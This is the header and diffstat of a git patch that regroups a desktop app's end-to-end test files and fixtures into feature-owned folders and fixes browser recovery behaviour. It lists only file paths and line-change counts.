From a16afc4e6789e7740ef01f853c76a5e5e48114e2 Mon Sep 17 00:00:00 2001 From: Neil <4138956+nwparker@users.noreply.github.com> Date: Tue, 17 Nov 2026 11:44:44 -0800 Subject: [PATCH] refactor(e2e): group journeys by feature and repair browser recovery (#43628) * refactor(e2e): group journeys and fixtures by feature ownership * refactor(e2e): consolidate remaining Playwright owner imports * test(ci): stop copying retired route modules into fixtures * fix(browser): preserve one-shot follow intent across equal snapshots * refactor(settings): colocate commit message defaults with source control * test(browser): await page registration and focus the concrete page * fix(browser): keep viewport recovery progressing during incompatible frames * fix(browser): wait for stale helper exit before replacement commands --- .github/workflows/computer-e2e.yml | 16 +- .github/workflows/e2e.yml | 93 +- .github/workflows/golden-e2e-experiment.yml | 14 +- .github/workflows/layout-owner-e2e.yml | 6 +- .github/workflows/mobile.yml | 1 - .github/workflows/packaged-browser-e2e.yml | 121 - .github/workflows/pr.yml | 30 - .github/workflows/release-cut.yml | 99 +- .github/workflows/ssh-windows-hosts.yml | 26 +- .github/workflows/terminal-ime-e2e.yml | 53 - .github/workflows/terminal-perf.yml | 198 -- .../workflows/unit-module-cache-benchmark.yml | 3 - .github/workflows/unit-module-cache.yml | 1 - .github/workflows/unit-tests.yml | 49 - .../workflows/windows-browser-focus-e2e.yml | 75 - .../windows-terminal-restart-e2e.yml | 5 +- .github/workflows/windows-wsl-e2e.yml | 34 +- .../invoke-windows-host-cells.ps1 | 54 +- config/flaky-test-pattern-baseline.txt | 483 +-- config/legacy-relay-compat-tags-baseline.txt | 7 +- config/legacy-relay-importers-baseline.txt | 2 +- config/path-literal-baseline.txt | 4 +- config/performance-audit.md | 3 +- config/reliability-gates.jsonc | 2929 ++++------------- .../ci/e2e-selection/ci-e2e-job-selection.mjs | 49 +- .../run-multi-client-navigation-e2e.mjs | 41 - .../scripts/ci/sharding/ci-shard-timings.json | 302 +- .../check-test-file-runners.mjs | 4 +- .../dependency-graph/ci-unit-files.mjs | 1 - .../pr-auxiliary-preflight-admission.test.mjs | 2 - .../mobile-release-check-scope.test.mjs | 1 - .../check-entry/mobile-test-change-scope.mjs | 1 - .../qualification/node-server-test-paths.mjs | 1 - .../native-chat/native-chat-4a-arm.ts | 14 +- .../native-chat/native-chat-4a-comparison.ts | 3 +- .../native-chat/native-chat-4a-host-work.ts | 2 +- .../native-chat/native-chat-4a-probes.ts | 2 +- .../native-chat/native-chat-4a-session.ts | 2 +- .../record-layout-compat-baselines.mjs | 4 +- .../verify-wsl-e2e-participation.mjs | 5 +- .../run-terminal-ibus-hangul-e2e.mjs | 178 +- .../run-terminal-layout-parity.mjs | 231 -- .../run-terminal-scale-perf-e2e.mjs | 46 - .../run-terminal-scale-perf-report-gate.mjs | 136 - .../terminal-ime-engagement-receipt.mjs | 4 +- .../vitest-node-runtime-files.mjs | 8 +- .../pr-browser-e2e-source-routes.mjs | 53 - .../source-routing/pr-code-change-scope.mjs | 4 - .../source-routing/pr-e2e-source-routing.mjs | 516 ++- .../pr-editor-preview-e2e-source-routes.mjs | 19 +- .../pr-feature-area-e2e-source-routes.mjs | 51 +- .../source-routing/pr-layout-oracle-route.mjs | 109 - .../pr-plugin-e2e-source-routes.mjs | 173 +- .../pr-wsl-e2e-source-routes.mjs | 19 +- .../native-chat-tool-pairing/README.md | 5 +- docs/readme/terminal-perf.md | 62 +- package.json | 20 +- .../agent-browser-bridge-execution.ts | 16 +- .../agent-browser-session-reset.ts | 24 +- .../browser-screencast-cdp-events.ts | 4 +- .../browser-screencast-snapshot-capture.ts | 18 +- .../ssh-windows-host-cells.ts | 2 +- .../runtime/web-session-tabs-sync/state.ts | 1 + .../tracking/tracking-decisions.ts | 15 +- .../settings/default-global-settings.ts | 17 +- .../ai/settings/source-control-ai-settings.ts | 14 + tests/AGENTS.md | 13 +- tests/e2e/AGENTS.md | 22 +- .../e2e/activity-agent-pane-isolation.spec.ts | 406 --- .../ai-vault-session-delete.spec.ts | 7 +- .../ai-vault-typing-bench-corpus.ts | 0 .../ai-vault-typing-bench-renderer-probe.ts | 0 .../e2e/add-project-default-checkout.spec.ts | 176 - .../add-project-error-toast-stacking.spec.ts | 368 --- tests/e2e/agent-auto-permissions.spec.ts | 94 - .../e2e/agent-dashboard-status-burst.spec.ts | 175 - tests/e2e/agent-send-picker-reveal.spec.ts | 211 -- ...ent-session-live-force-exit-resume.spec.ts | 363 -- .../agent-session-log-tail-stability.spec.ts | 393 --- tests/e2e/agent-session-quit-resume.spec.ts | 162 - .../native-chat-send-focus.spec.ts | 33 + .../native-chat-ssh-transcript.unit.test.ts | 8 +- ...attention-read-retirement.test-fixture.tsx | 30 +- ...ructured-chat-tab-lifetime.test-fixture.ts | 6 +- ...ed-serve-cold-restore-agent-status.spec.ts | 18 +- .../paired-server-agent-tab-placement.spec.ts | 9 +- ...te-agent-completion-authority.unit.test.ts | 95 + .../session-fixtures}/agent-hook-endpoint.ts | 2 +- .../claude-plugin-image-fixture.ts | 0 .../fake-agent-command-override.ts | 4 +- .../fake-agent-paste-end-scanner.ts | 0 .../fake-codex-launch-probes.ts | 0 .../native-chat-transcript-fixture.ts | 0 .../session-fixtures}/native-chat-view.ts | 5 +- .../structured-claude-stub.ts | 11 +- .../agent-descendant-process-kill.spec.ts | 5 +- .../grok-hook-session-cleanup.spec.ts | 5 +- .../issue-12907-pi-eof-agent-row.spec.ts | 17 +- .../omp-launch-environment.spec.ts | 15 +- .../omp-model-picker.spec.ts | 17 +- .../prepared-action-launch.test-fixture.ts | 20 +- .../codex-account-switch-dismiss.spec.ts | 14 +- .../cursor-quota-transport.unit.test.ts | 6 +- .../settings}/cursor-quota-wire.fixture.ts | 12 +- .../settings}/settings-agent-awake.spec.ts | 9 +- tests/e2e/ai-vault-panel-search.spec.ts | 201 -- .../artificial-opencode-terminal-load.spec.ts | 438 --- .../e2e/branch-picker-open-workspace.spec.ts | 87 - ...agent-input-focus-isolation-native.spec.ts | 113 - .../browser-floating-shortcut-scope.spec.ts | 181 - ...rowser-guest-attachment-validation.spec.ts | 177 - .../e2e/browser-guest-crash-recovery.spec.ts | 747 ----- tests/e2e/browser-image-link-focus.spec.ts | 144 - ...wser-local-https-certificate-trust.spec.ts | 200 -- .../browser-pointer-input-dispatch.spec.ts | 327 -- tests/e2e/browser-sidecar-owner-loss.spec.ts | 50 - tests/e2e/browser-split-grab-shortcut.spec.ts | 303 -- ...browser-split-navigation-shortcuts.spec.ts | 213 -- .../browser-tab-list-restored-tabs.spec.ts | 115 - tests/e2e/browser-tab.spec.ts | 646 ---- .../client-hosted-browser-fixture.ts | 7 +- .../client-hosted-browser-observer.ts | 0 ...aired-client-hosted-browser-markup.spec.ts | 9 +- ...ired-client-hosted-profile-cookies.spec.ts | 11 +- .../browser-embedded-owner-routing.spec.ts | 9 +- .../browser-guest-crash-recovery.spec.ts | 208 ++ .../browser-guest-runtime-oracle.ts | 5 +- .../browser-sidecar-launch.ts | 8 +- .../browser-agent-composition-scenario.ts | 5 +- .../browser-agent-focus-scenarios.ts | 47 +- ...rowser-agent-input-focus-isolation.spec.ts | 49 +- .../browser-grab-top-layer.spec.ts | 21 +- .../browser-host-focus-probe.ts | 38 + .../input-navigation}/browser-link-server.ts | 0 .../browser-split-fixture.ts | 0 .../browser-split-grab-shortcut.spec.ts | 160 + .../browser-split-guest-probes.ts | 0 .../browser-split-page-server.ts | 0 .../input-navigation/browser-tab.spec.ts | 205 ++ .../paired-browser-placement-fixture.ts | 10 +- ...headless-serve-browser-tab-restart.spec.ts | 9 +- .../materialized-remote-browser-pane.ts | 9 +- .../paired-remote-browser-blank-link.spec.ts | 15 +- ...te-browser-ghost-subscriber-rejoin.spec.ts | 11 +- ...red-remote-browser-in-page-address.spec.ts | 11 +- .../ssh-remote-only-browser-fixture.ts | 4 +- .../security}/browser-fedcm-fallback.spec.ts | 11 +- .../security}/local-https-test-server.ts | 2 +- .../e2e/chinese-ime-chat-input-repro.spec.ts | 809 ----- tests/e2e/claude-code-theme-sync.spec.ts | 315 -- tests/e2e/claude-sidebar-agent-view.spec.ts | 208 -- ...li-agent-unopened-workspace-resume.spec.ts | 196 -- tests/e2e/cli-file-open-position.spec.ts | 211 -- ...cli-first-worktree-single-terminal.spec.ts | 119 - .../cli-floating-file-open-position.spec.ts | 206 -- tests/e2e/codex-ctrl-c-status.spec.ts | 146 - ...ned-diff-invalidation-freeze-repro.spec.ts | 313 -- ...completed-worker-retirement-resume.spec.ts | 481 --- tests/e2e/connector-headless-serve.spec.ts | 319 -- .../crew-recipient-real-command.unit.test.ts | 120 - tests/e2e/csv-paged-preview.spec.ts | 216 -- tests/e2e/csv-table-editing.spec.ts | 329 -- tests/e2e/csv-url-links.spec.ts | 155 - ...mon-generation-legacy-close-safety.spec.ts | 502 --- ...daemon-generation-reconnect-safety.spec.ts | 458 --- .../daemon-live-session-preservation.spec.ts | 113 - .../daemon-running-work-probe.unit.test.ts | 91 - ...mon-slow-health-check-preservation.spec.ts | 112 - tests/e2e/daemon-slow-init-pty-gate.spec.ts | 106 - .../default-tabs-mark-crash-relaunch.spec.ts | 180 - .../desktop-window-mobile-markdown.spec.ts | 239 -- .../cli-invocation}/compiled-orca-cli.ts | 0 .../app-menu-paste-ownership.spec.ts | 12 +- .../clipboard-macos-image-paste.spec.ts | 5 +- .../editable-context-paste-ownership.spec.ts | 10 +- .../tab-rename-paste-ownership.spec.ts | 10 +- .../computer-use}/computer-cli-driver.ts | 2 +- .../computer-coordinate-click-driver.ts | 5 +- .../computer-use}/computer-driver.ts | 12 +- .../computer-use}/computer-linux.e2e.ts | 13 +- .../computer-use}/computer-mac-safari.e2e.ts | 8 +- .../computer-use}/computer-mac.e2e.ts | 12 +- .../computer-windows-background.e2e.ts | 9 +- .../computer-use}/computer-windows.e2e.ts | 14 +- .../computer-use}/notepad-document.ts | 5 +- .../computer-use}/windows-fixture-actions.ts | 5 +- .../windows-foreground-holder.ps1 | 0 .../windows-foreground-holder.ts | 5 +- .../computer-use}/windows-form-fixture.ts | 2 +- .../windows-ime-native-events.ts | 0 .../windows-semantic-controls-fixture.ps1 | 0 .../windows-semantic-controls-fixture.ts | 2 +- ...ows-semantic-controls-fixture.winforms.ps1 | 0 .../daemon-generation-processes.ts | 0 .../daemon-generation-runtime-fixture.ts | 0 .../daemon-generation-safety-fixtures.ts | 14 +- .../daemon-lifecycle-retirement.spec.ts | 8 +- .../e2e-completed-onboarding-profile.ts | 6 +- .../electron-crashpad-cleanup.ts | 0 .../electron-home-isolation.ts | 0 .../electron-home-isolation.unit.test.ts | 22 + .../electron-launch-args.ts | 0 .../electron-main-evaluate-retry.ts | 0 .../electron-process-handle.ts | 14 + .../electron-process-shutdown.ts | 7 +- .../electron-process-shutdown.unit.test.ts | 134 + .../electron-shutdown-timing.ts | 0 .../hidden-renderer-frame-capture.ts | 5 +- .../hold-window-graph-publication.ts | 0 .../electron-fixtures}/orca-app.ts | 4 +- .../orca-restart-launch-options.ts | 0 .../electron-fixtures}/orca-restart.ts | 2 +- .../persisted-profile-state.ts | 12 +- .../persisted-profile-state.unit.test.ts | 42 + .../renderer-console-forwarding.ts | 0 .../event-loop-delay-report.ts | 2 +- .../renderer-probes}/first-drawn-watch.ts | 0 .../renderer-probes}/onboarding-navigation.ts | 0 .../renderer-probes}/page-evaluate-polled.ts | 3 +- .../renderer-probes}/runtime-types.ts | 26 +- .../renderer-probes}/shortcuts.ts | 0 .../renderer-probes}/store.ts | 0 .../settings}/settings-pane-visits.ts | 5 +- .../electron-home-isolation.spec.ts | 3 +- ...erer-crash-recovery-terminal-input.spec.ts | 18 +- .../restart-restore-terminal-input.spec.ts | 28 +- ...unopened-workspace-terminal-attach.spec.ts | 15 +- .../windows-missing-appdata-startup.spec.ts | 19 +- tests/e2e/diff-note-delete.spec.ts | 117 - tests/e2e/diff-note-draft.spec.ts | 120 - tests/e2e/diff-note-edit.spec.ts | 138 - tests/e2e/diff-note-line-range.spec.ts | 374 --- tests/e2e/droid-notification.spec.ts | 441 --- .../e2e/editor/csv/csv-paged-preview.spec.ts | 60 + tests/e2e/editor/csv/csv-url-links.spec.ts | 63 + .../file-explorer-copy-file-windows.spec.ts | 3 +- .../file-explorer}/file-explorer.ts | 0 ...untime-file-browser-windows-drives.spec.ts | 7 +- .../editor-model-host-isolation.spec.ts | 7 +- .../markdown-callout-source-fidelity.spec.ts | 7 +- .../markdown}/markdown-editor-fixture.ts | 0 .../markdown-find-adversarial.spec.ts | 127 +- .../markdown}/markdown-inline-image.ts | 0 .../markdown}/markdown-nested-toggle.spec.ts | 9 +- .../markdown}/markdown-nested-toggle.ts | 0 .../rich-markdown-inline-image.spec.ts | 9 +- .../pdf}/pdf-detail-device-pixels.spec.ts | 9 +- tests/e2e/editor/pdf/pdf-find-counter.spec.ts | 72 + .../pdf}/pdf-find-fixture.ts | 0 .../media-preview-partition-isolation.spec.ts | 3 +- .../paired-html-preview-inventory.ts | 0 tests/e2e/ephemeral-vm-cleanup-retry.spec.ts | 165 - tests/e2e/file-explorer-ime-enter.spec.ts | 112 - ...file-explorer-linked-watch-refresh.spec.ts | 89 - tests/e2e/file-explorer-watch-refresh.spec.ts | 59 - tests/e2e/finished-agent-ghost-resume.spec.ts | 187 -- tests/e2e/floating-tab-rename.spec.ts | 301 -- .../floating-terminal-switch-reveal.spec.ts | 87 - ...floating-terminal-tab-rename-focus.spec.ts | 288 -- tests/e2e/folder-repo-git-upgrade.spec.ts | 71 - .../e2e/folder-setup-shallow-priority.spec.ts | 150 - tests/e2e/folder-setup.spec.ts | 181 - .../e2e/folder-workspace-palette-wake.spec.ts | 104 - ...github-pr-hosted-receipt-loop.unit.test.ts | 284 -- .../github-url-smart-input-transition.spec.ts | 369 --- tests/e2e/global-setup.ts | 2 +- .../golden-agent-tui-launch.spec.ts | 14 +- .../golden-file-open-edit-save.spec.ts | 7 +- .../golden-fresh-profile-terminal.spec.ts | 18 +- .../golden-posix-profile-index-fsync.spec.ts | 3 +- .../golden-shell-after-agent-exit.spec.ts | 18 +- .../golden-shell-command.spec.ts | 16 +- .../golden-source-control-commit.spec.ts | 7 +- .../golden-source-control-open-diff.spec.ts | 7 +- .../golden-source-control.ts | 3 +- .../golden-stub-agent.ts | 3 +- .../golden-tab-bar-agent-launch.spec.ts | 34 +- .../golden-worktree-create-switch.spec.ts | 19 +- .../e2e/golden-quit-relaunch-session.spec.ts | 109 - tests/e2e/golden-terminal-file-link.spec.ts | 315 -- ...d-remote-terminal-retention-memory.spec.ts | 73 - ...erve-cli-terminal-retention-parity.spec.ts | 172 - .../electron-crashpad-cleanup.unit.test.ts | 45 - .../electron-home-isolation.unit.test.ts | 225 -- .../electron-process-shutdown.unit.test.ts | 246 -- .../paired-client-window-reveal.unit.test.ts | 44 - .../persisted-profile-state.unit.test.ts | 71 - .../hidden-workspace-notifications.spec.ts | 138 - ...t-cold-park-remote-subscriber.unit.test.ts | 267 -- .../host-parked-pane-remote-viewer.spec.ts | 329 -- .../host-terminal-agent-phone-push.spec.ts | 151 - tests/e2e/html-file-url-opening.spec.ts | 194 -- .../connectors}/connector-fake-claude.ts | 2 +- ...thub-project-provider-columns.unit.test.ts | 20 +- .../linear-url-workspace-entry.spec.ts | 11 +- ...rt-workspace-linear-read-test-fixtures.tsx | 32 +- .../skills}/staging-skill-sharing.spec.ts | 15 +- ...an-ime-terminal-shift-enter-commit.spec.ts | 533 --- .../landing-preflight-runtime-routing.spec.ts | 189 -- tests/e2e/large-diff-freeze-repro.spec.ts | 307 -- tests/e2e/large-markdown-preview.spec.ts | 390 --- .../e2e/large-markdown-table-preview.spec.ts | 166 - ...t-compat-new-desktop-on-old-server.spec.ts | 174 - ...t-compat-old-desktop-on-new-server.spec.ts | 179 - ...out-compat-old-phone-on-new-server.spec.ts | 245 -- ...erve-restart-keeps-at-at-terminals.spec.ts | 152 - tests/e2e/layout-stream-loss-reopen.spec.ts | 267 -- .../accumulated-workspace-fixture.ts | 2 - .../accumulated-workspace-order-fixture.ts | 0 .../accumulated-workspace-profile.ts | 0 .../accumulated-workspace-state-builder.ts | 12 +- .../accumulated-workspace-status-fixture.ts | 0 .../accumulated-workspace-title-fixture.ts | 0 .../host-split-and-sleep-journeys.ts | 27 +- .../publication}/layout-owner-build.ts | 0 .../publication}/main-terminal-layout.ts | 4 +- .../paired-desktop-server-layout.ts | 23 +- .../runtime-graph-publication-probe.ts | 0 .../publication}/terminal-layout-journeys.ts | 11 +- .../layout-compat-baseline.ts | 30 +- .../layout-compat-baselines.json | 0 ...oating-tab-rename-filesystem-alias.spec.ts | 3 +- .../window-tabs/floating-tab-rename.spec.ts | 101 + ...floating-terminal-tab-rename-focus.spec.ts | 146 + ...ng-workspace-reopen-webgl-recovery.spec.ts | 100 +- ...ating-workspace-shared-glyph-atlas.spec.ts | 53 +- .../narrow-tab-group-drag-handle.spec.ts | 111 +- .../e2e/{ => layout/window-tabs}/tabs.spec.ts | 143 +- .../headless-layout-oracle-hosts.ts | 16 +- ...inal-layout-parity-declared-differences.ts | 0 .../terminal-layout-parity-snapshot.ts | 0 .../workspace-layout-oracle-compare.ts | 2 +- .../workspace-layout-oracle-expected.ts | 0 .../workspace-layout-oracle-feed.ts | 10 +- .../workspace-layout-oracle-known-on-main.ts | 2 +- .../workspace-layout-oracle-markers.ts | 2 +- .../workspace-layout-oracle-model.ts | 22 +- .../workspace-layout-oracle-session.ts | 19 +- .../workspace-layout-oracle-stream.ts | 10 +- .../workspace-layout-oracle-views.ts | 14 +- .../workspace-layout-oracle-watch.ts | 0 .../workspace-layout-oracle.ts | 18 +- tests/e2e/linear-cli-recovery.unit.test.ts | 435 --- .../e2e/linear-issue-view-persistence.spec.ts | 486 --- tests/e2e/linear-private-images.spec.ts | 170 - tests/e2e/linear-store.unit.test.ts | 163 - tests/e2e/linear-write-lifetime.unit.test.ts | 209 -- .../e2e/local-cli-terminal-retention.spec.ts | 322 -- .../manual-worktree-order-persistence.spec.ts | 225 -- tests/e2e/markdown-async-image-paste.spec.ts | 236 -- tests/e2e/markdown-find-editing.spec.ts | 304 -- .../markdown-large-paste-selection.spec.ts | 92 - .../e2e/markdown-literal-save-reopen.spec.ts | 119 - ...rkdown-preview-document-navigation.spec.ts | 98 - tests/e2e/mobile-banner.spec.ts | 544 --- .../multi-client-navigation-isolation.spec.ts | 262 -- ...native-chat-ask-user-question-card.spec.ts | 171 - ...e-chat-composer-linux-sogou-commit.spec.ts | 230 -- ...ative-chat-context-menu-copy-paste.spec.ts | 188 -- tests/e2e/native-chat-copy-image.spec.ts | 118 - tests/e2e/native-chat-file-mention.spec.ts | 50 - .../e2e/native-chat-first-flush-race.spec.ts | 117 - ...native-chat-history-prepend-anchor.spec.ts | 229 -- .../native-chat-inline-image-preview.spec.ts | 188 -- .../native-chat-inplace-drain-race.spec.ts | 147 - tests/e2e/native-chat-message-rail.spec.ts | 201 -- .../e2e/native-chat-plugin-ui-frames.spec.ts | 32 - tests/e2e/native-chat-prompt-recall.spec.ts | 174 - tests/e2e/native-chat-send-focus.spec.ts | 100 - tests/e2e/native-chat-tool-pairing.spec.ts | 249 -- .../e2e/native-chat-zcode-transcript.spec.ts | 116 - .../nested-agent-idle-session-owner.spec.ts | 166 - tests/e2e/new-workspace-create-more.spec.ts | 107 - tests/e2e/notebook-cell-external-sync.spec.ts | 115 - tests/e2e/notification-sound-replay.spec.ts | 153 - tests/e2e/omp-completion-retry-status.spec.ts | 107 - tests/e2e/omp-prefill-runtime.spec.ts | 76 - .../orcad-serve-open-url-on-desktop.spec.ts | 247 -- ...on-follows-terminal-across-remount.spec.ts | 160 - .../orchestration-idle-mail-delivery.spec.ts | 727 ---- .../orchestration-idle-mail-restore.spec.ts | 170 - ...y-worker-missing-terminal-recovery.spec.ts | 386 --- ...tration-low-level-dispatch-release.spec.ts | 143 - ...tion-worker-settlement-release-cli.spec.ts | 353 -- ...tration-worker-terminal-visibility.spec.ts | 271 -- ...ration-worker-transcript-providers.spec.ts | 406 --- .../completed-worker-retirement-fixture.ts | 8 +- .../orchestration-mail-pane-agent.ts | 0 .../orchestration-mail-store.ts | 0 .../orchestration-run-pages.ts | 2 +- ...n-worker-workspace-resolution.unit.test.ts | 24 +- tests/e2e/os-opened-documents.spec.ts | 111 - ...ed-mixed-version-browser-placement.spec.ts | 367 --- ...browser-create-navigation-deadline.spec.ts | 383 --- ...er-creation-reconciliation-failure.spec.ts | 371 --- .../e2e/paired-cli-agent-launch.unit.test.ts | 106 - ...-terminal-graph-sync-tab-retention.spec.ts | 256 -- ...st-terminal-unopened-host-worktree.spec.ts | 123 - ...ed-client-host-repo-id-change-rows.spec.ts | 60 - ...ent-hosted-browser-cookie-survival.spec.ts | 376 --- ...ient-hosted-browser-double-restart.spec.ts | 165 - ...-client-hosted-browser-ghost-close.spec.ts | 176 - ...d-client-hosted-browser-host-strip.spec.ts | 193 -- ...ient-hosted-browser-network-outage.spec.ts | 178 - ...aired-client-hosted-browser-popups.spec.ts | 182 - ...lient-hosted-browser-quit-survival.spec.ts | 512 --- ...nt-hosted-browser-restart-survival.spec.ts | 136 - ...d-client-hosted-browser-title-hold.spec.ts | 318 -- .../e2e/paired-client-hosted-browser.spec.ts | 413 --- .../paired-cmd-j-host-qualified-tabs.spec.ts | 550 ---- ...d-desktop-tab-pick-follows-desktop.spec.ts | 153 - .../e2e/paired-host-usage-credentials.spec.ts | 220 -- tests/e2e/paired-instant-browser-tab.spec.ts | 728 ---- ...esktop-mirror-workspace-visibility.spec.ts | 229 -- .../e2e/paired-mobile-desktop-mirror.spec.ts | 430 --- ...red-mobile-desktop-tab-composition.spec.ts | 261 -- ...paired-outside-workspace-html-link.spec.ts | 165 - .../paired-pane-title-desktop-host.spec.ts | 148 - ...ed-preview-address-bar-convergence.spec.ts | 355 -- ...ed-remote-browser-stream-reconnect.spec.ts | 239 -- ...d-remote-html-preview-local-render.spec.ts | 808 ----- .../e2e/paired-remote-large-file-open.spec.ts | 137 - .../paired-remote-pane-layout-retry.spec.ts | 218 -- .../paired-remote-split-pane-focus.spec.ts | 273 -- ...mote-split-pane-host-retired-ghost.spec.ts | 128 - ...aired-remote-terminal-browser-link.spec.ts | 432 --- ...e-terminal-client-restart-survival.spec.ts | 335 -- ...terminal-host-quit-reconnect-input.spec.ts | 379 --- ...minal-host-restart-background-sync.spec.ts | 467 --- ...te-terminal-lossy-initial-snapshot.spec.ts | 275 -- ...terminal-materialization-reconnect.spec.ts | 428 --- ...red-remote-terminal-network-outage.spec.ts | 248 -- ...rminal-parked-reveal-interactivity.spec.ts | 541 --- ...terminal-parked-scrollback-restart.spec.ts | 346 -- ...erminal-parked-scrollback-survives.spec.ts | 324 -- ...remote-terminal-probe-gap-recovery.spec.ts | 231 -- ...mote-terminal-reconnect-idle-frame.spec.ts | 256 -- ...d-remote-terminal-retention-memory.spec.ts | 38 - ...ote-terminal-serve-restart-binding.spec.ts | 712 ---- ...red-remote-terminal-stall-recovery.spec.ts | 655 ---- ...erminal-truncated-tail-first-paint.spec.ts | 481 --- ...ired-remote-terminal-wide-viewport.spec.ts | 124 - ...paired-serve-respawn-process-state.spec.ts | 215 -- tests/e2e/paired-skill-installation.spec.ts | 277 -- ...aired-split-pane-browser-placement.spec.ts | 258 -- ...ed-terminal-after-anchor-placement.spec.ts | 153 - ...paired-terminal-granted-video-open.spec.ts | 70 - ...red-terminal-switch-desktop-reveal.spec.ts | 154 - ...wo-client-emptied-workspace-reseed.spec.ts | 287 -- .../paired-usage-owner-placeholders.spec.ts | 203 -- tests/e2e/pdf-find-counter.spec.ts | 171 - tests/e2e/pdf-viewer-rebuild-recovery.spec.ts | 72 - tests/e2e/pdf-viewer-reload-cleanup.spec.ts | 120 - ...rsisted-session-production-upgrade.spec.ts | 362 -- tests/e2e/phone-take-back-all-browser.spec.ts | 118 - tests/e2e/pi-ui-prompt-status.spec.ts | 72 - tests/e2e/plugin-buildless-tsx.spec.ts | 84 - ...lugin-command-replacement-deadline.spec.ts | 204 -- .../e2e/plugin-components-hot-reload.spec.ts | 128 - tests/e2e/plugin-custom-editor.spec.ts | 235 -- tests/e2e/plugin-demo.spec.ts | 216 -- tests/e2e/plugin-dev-root-isolation.spec.ts | 178 - tests/e2e/plugin-install-link.spec.ts | 89 - tests/e2e/plugin-panel-containment.spec.ts | 542 --- tests/e2e/plugin-shot-editor.spec.ts | 163 - tests/e2e/plugin-shot.spec.ts | 482 --- tests/e2e/plugin-try-it.spec.ts | 110 - tests/e2e/plugin-update-review-toast.spec.ts | 166 - tests/e2e/plugin-update-review.spec.ts | 322 -- tests/e2e/plugin-worker-panel.spec.ts | 101 - ...in-workspace-context-paired-server.spec.ts | 232 -- .../plugin-declarative-panel.spec.ts | 7 +- .../plugin-frame-guest.ts | 3 +- .../plugin-git-fixture.ts | 0 .../plugin-gleam-catalog-fixture.ts | 0 .../plugin-isolated-frame.spec.ts | 9 +- .../{ => plugins}/plugin-name-clash.spec.ts | 6 +- .../e2e/{ => plugins}/plugin-new-file.spec.ts | 9 +- .../{ => plugins}/plugin-panel-agents.spec.ts | 22 +- .../plugin-panel-navigation-observer.ts | 0 .../e2e/{helpers => plugins}/plugin-smoke.ts | 0 .../plugin-update-catalog-fixture.ts | 0 .../plugin-workspace-persist-switch.spec.ts | 13 +- .../pr-refresh-actual-completion.unit.test.ts | 407 --- ...le-state-automatic-backup-recovery.spec.ts | 222 -- ...state-terminal-restart-persistence.spec.ts | 125 - .../project-group-creation-visibility.spec.ts | 193 -- ...pty-snapshot-capability-main-stall.spec.ts | 74 - tests/e2e/quit-and-stop-all-sessions.spec.ts | 127 - .../e2e/recipe-orca-server-file-save.spec.ts | 175 - tests/e2e/relaunch-first-terminal.spec.ts | 150 - ...nch-sleeping-agents-resume-on-view.spec.ts | 319 -- .../e2e/relay-region-correction.unit.test.ts | 573 ---- ...te-agent-completion-authority.unit.test.ts | 256 -- ...mote-agent-session-focus-authority.spec.ts | 571 ---- ...ote-session-bulk-open-freeze-repro.spec.ts | 173 - ...terminal-input-delivery-model.unit.test.ts | 487 --- .../ssh-orcad-editor-watch-recovery.spec.ts | 7 +- .../ssh-orcad-explorer-watch-recovery.spec.ts | 9 +- .../host-lifecycle}/docker-ssh-host-image.ts | 0 .../host-lifecycle}/docker-ssh-host-target.ts | 2 +- .../host-lifecycle}/orcad-convert-flow.ts | 9 +- .../host-lifecycle}/orcad-convert-host.ts | 4 +- .../orcad-managed-workspace.ts | 22 +- .../orcad-serve-mode-switch.spec.ts | 68 +- .../host-lifecycle}/orcad-template-variant.ts | 2 +- .../host-lifecycle}/orcad-upgrade-profile.ts | 18 +- .../orcad-upgrade-retained-state.ts | 10 +- .../host-lifecycle}/reserve-local-port.ts | 0 .../ssh-orcad-idle-exit.spec.ts | 90 +- .../ssh-orcad-pairing-repair.spec.ts | 99 + .../ssh-orcad-shared-home-machines.spec.ts | 13 +- .../ssh-orcad-unbindable-tunnel-port.spec.ts | 10 +- .../ssh-orcad-update-anyway.spec.ts | 99 + .../windows-host-orcad-processes.ts | 0 .../headless-mobile-markdown.spec.ts | 13 +- .../headless-serve-mobile-markdown.spec.ts | 13 +- ...-serve-mobile-native-chat-identity.spec.ts | 19 +- ...ile-subscribe-idle-hidden-pane-fit.spec.ts | 28 +- .../mobile-mirror}/paired-mobile-client.ts | 26 +- ...le-desktop-mirror-files-git-review.spec.ts | 7 +- ...mobile-serve-restart-terminal-tabs.spec.ts | 11 +- .../mobile-mirror}/phone-feed-list.ts | 32 +- .../mobile-mirror}/phone-mirror-topology.ts | 4 +- .../network-outages}/freezable-tcp-proxy.ts | 0 .../client-hosted-runtime-relaunch.ts | 5 +- .../headless-paired-runtime-host.ts | 54 +- .../headless-paired-runtime-process-exit.ts | 39 + ...headless-paired-runtime-serve-readiness.ts | 3 +- ...aired-runtime-serve-readiness.unit.test.ts | 0 .../nested-runtime-same-id-pairing.ts | 2 +- .../client-hosts}/orca-serve-cli-host.ts | 6 +- .../client-hosts}/packaged-old-orca.ts | 15 +- .../paired-client-host-session.ts | 3 +- .../paired-client-runtime-environment.ts | 0 .../paired-client-window-reveal.ts | 0 .../client-hosts}/paired-electron-client.ts | 21 +- .../client-hosts}/paired-web-client-url.ts | 0 .../nested-runtime-ssh-client-route.ts | 14 +- .../nested-runtime-ssh-filesystem-route.ts | 8 +- .../nested-runtime-ssh-terminal-creation.ts | 8 +- .../headless-serve-desktop-activation.spec.ts | 48 +- ...oject-removal-stops-host-terminals.spec.ts | 13 +- .../paired-server-rows-shadow.spec.ts | 9 +- .../paired-startup-exec-readiness.spec.ts | 9 +- ...ired-worktree-activation-isolation.spec.ts | 9 +- .../pr11346-selected-runtime-add.spec.ts | 19 +- ...r11346-selected-runtime-identity-oracle.ts | 0 .../relay}/build-released-relay-bundle.mts | 4 +- .../relay}/legacy-relay-docker-host.ts | 15 +- .../relay}/relay-execution-process.ts | 0 .../ephemeral-vm-cleanup-retry.spec.ts | 60 + .../ssh-hosts}/remote-skill-cloud-fixture.ts | 4 +- ...etwork-execution-route.docker.unit.test.ts | 65 +- .../ssh-hosts}/ssh-config-host-picker.ts | 2 +- .../ssh-hosts}/staging-skill-ssh-target.ts | 0 .../wsl-hosts}/wsl-boot-diagnostics-log.ts | 0 .../wsl-hosts}/wsl-boot-guard.ts | 5 +- .../wsl-bridge-no-background-boot.spec.ts | 20 +- .../wsl-hosts}/wsl-golden-stub-agent.ts | 2 +- .../wsl-hosts}/wsl-host-fake-desktop.ts | 19 +- .../wsl-host-fake-transport.spec.ts | 24 +- .../wsl-move-host-pane-history.spec.ts | 15 +- .../wsl-move-moved-project-chat-send.spec.ts | 15 +- .../wsl-hosts}/wsl-moved-host-profile.ts | 8 +- 